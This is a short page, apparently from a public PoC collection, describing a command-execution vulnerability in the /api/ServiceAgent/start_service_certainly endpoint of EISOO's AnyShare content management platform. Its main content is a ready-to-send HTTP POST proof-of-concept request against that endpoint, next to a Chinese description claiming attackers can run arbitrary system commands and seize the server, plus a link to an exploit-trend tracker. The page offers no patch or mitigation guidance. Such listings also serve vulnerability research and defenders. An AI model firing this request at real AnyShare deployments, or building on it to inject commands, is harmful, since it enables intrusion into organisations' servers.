BiuPoC

爱数 AnyShare智能内容管理平台 /api/ServiceAgent/start_service_certainly 命令执行漏洞

2026-05-09 爱数AnyShare智能内容管理平台 PoC Public

Description

爱数 AnyShare 智能内容管理平台是上海爱数信息技术股份有限公司推出的一款企业级统一内容管理平台。该产品以内容管理为核心，提供文档管理、知识管理、内容协作、数据治理等功能，支持企业内外部的内容共享与协作，广泛应用于政府、金融、教育、医疗、制造等行业。AnyShare 采用微服务架构设计，支持多云部署和混合云架构。爱数 AnyShare 智能内容管理平台 /api/ServiceAgent/start_service_certainly 接口存在命令执行漏洞，攻击者可通过该漏洞在服务器端执行任意系统命令，获取服务器权限。

PoC

POST /api/ServiceAgent/start_service_certainly HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Accept-Encoding: gzip

["",0]

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# EISOO AnyShare Intelligent Content Management Platform /api/ServiceAgent/start_service_certainly Command Execution Vulnerability

References

Related Vulnerabilities